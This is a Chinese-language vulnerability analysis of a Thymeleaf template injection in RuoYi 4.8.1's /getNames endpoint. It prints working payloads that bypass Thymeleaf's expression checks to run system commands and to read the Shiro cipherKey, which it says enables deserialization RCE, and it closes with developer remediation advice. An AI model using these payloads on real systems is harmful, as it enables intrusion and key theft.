本文通过一个实际案例,分析若依(RuoYi)管理系统最新版本4.8.1中存在的Thymeleaf模板注入漏洞,并探讨如何绕过新的安全限制实现远程代码执行(RCE),以及进一步利用SpringBean获取ShiroKey的完整过程。
漏洞成因:不安全的模板拼接
该漏洞的核心位于CacheController.java文件的/getNames接口中:
@PostMapping("/getNames")
public String getNames(String fragment, ModelMap mmap) {
mmap.put("cacheNames", cacheService.getCacheNames());
return prefix + "/cache::" + fragment; // 漏洞点:用户输入fragment被直接拼接入模板路径
}
攻击者可控的fragment参数被直接拼接进Thymeleaf的模板片段表达式,构成了服务器端模板注入条件。
SSTI 绕过与命令执行
在已知该点存在SSTI漏洞的情况下,旧版本的利用方式(如直接反射调用Runtime.getRuntime().exec())已在最新的Thymeleaf中被SpringStandardExpressionUtils类的增强检查所禁止。但通过特定的Groovy语法和链式调用,可以绕过限制。
初始的绕过测试Payload如下,证明注入点有效:
fragment=__|$${#response.getWriter().print('111')}|__::.x
然而,直接构建如T(java.lang.Runtime).getRuntime().exec('calc')的表达式会被拦截。
构建Groovy方法链
经过分析,无法直接获取Runtime类,但可以通过SecurityManager作为跳板,利用Groovy的链式调用构建反射链:
- 获取
SecurityManager Bean。
- 通过其
getClass方法获取Class对象。
- 获取
ClassLoader。
- 加载
java.lang.Runtime类。
- 获取
getRuntime方法。
- 调用该方法获取
Runtime实例。
- 获取
exec方法。
- 反射调用
exec执行系统命令。
在构造过程中,发现直接使用getMethods()会被拦截,但使用其属性形式getMethods(省略括号)可以绕过检测。最终构造出的可利用Payload格式如下(为清晰展示,已格式化,实际使用需拼接为一行):
fragment=__|$${ #bean('securityManager').getClass.classLoader
.loadClass('java.lang.Runtime')
.getMethods
.find{ it.name == 'getRuntime' }
.invoke(null)
.exec('calc') }|__::.x
此利用链在特定JDK版本(如8u192)下可成功执行命令,高版本JDK可能存在其他防御机制。
深入利用:获取ShiroKey并实现RCE
在成功执行命令后,进一步分析发现,若依系统的Shiro密钥(CipherKey)由SpringBean管理,可以通过表达式注入直接获取,从而可能实现更隐蔽的RCE。
在系统配置中,ShiroConfig类定义了securityManager Bean,其中rememberMeManager()方法负责设置CipherKey:
@Bean
public SecurityManager securityManager(UserRealm userRealm) {
DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager();
securityManager.setRememberMeManager(rememberMe ? rememberMeManager() : null); // 关键调用
// ... 其他配置
return securityManager;
}
public CustomCookieRememberMeManager rememberMeManager() {
CustomCookieRememberMeManager cookieRememberMeManager = new CustomCookieRememberMeManager();
if (StringUtils.isNotEmpty(cipherKey)) {
// 使用配置的密钥
cookieRememberMeManager.setCipherKey(Base64.decode(cipherKey));
} else {
// 或生成随机密钥
cookieRememberMeManager.setCipherKey(CipherUtils.generateNewKey(128, "AES").getEncoded());
}
return cookieRememberMeManager;
}
通过SSTI漏洞,我们可以直接调用Spring容器获取rememberMeManager这个Bean,进而拿到其cipherKey属性(字节数组形式):
fragment=__|$${ #bean('rememberMeManager').cipherKey }|__::.x
获取到密钥的Base64编码形式后,攻击者便可以利用此密钥构造有效的Shiro反序列化攻击载荷,最终在服务端实现远程代码执行。这在Java安全和渗透测试场景中是一种经典的攻击路径。
总结与反思
本次漏洞分析揭示了两个关键问题:
- 直接拼接用户输入到模板引擎指令是极度危险的行为,即使在框架层面增加了过滤,攻击者仍可能找到新的绕过方法。
- 敏感密钥(如Shiro CipherKey)的管理方式至关重要。通过SpringBean暴露的敏感属性,在存在其他漏洞(如SSTI)时,可能成为扩大攻击面的跳板。
开发者应及时关注依赖组件(如Thymeleaf)的安全更新,并对所有用户输入进行严格的校验和过滤。同时,对于安全相关的配置信息,应避免其以任何形式被潜在的攻击接口读取。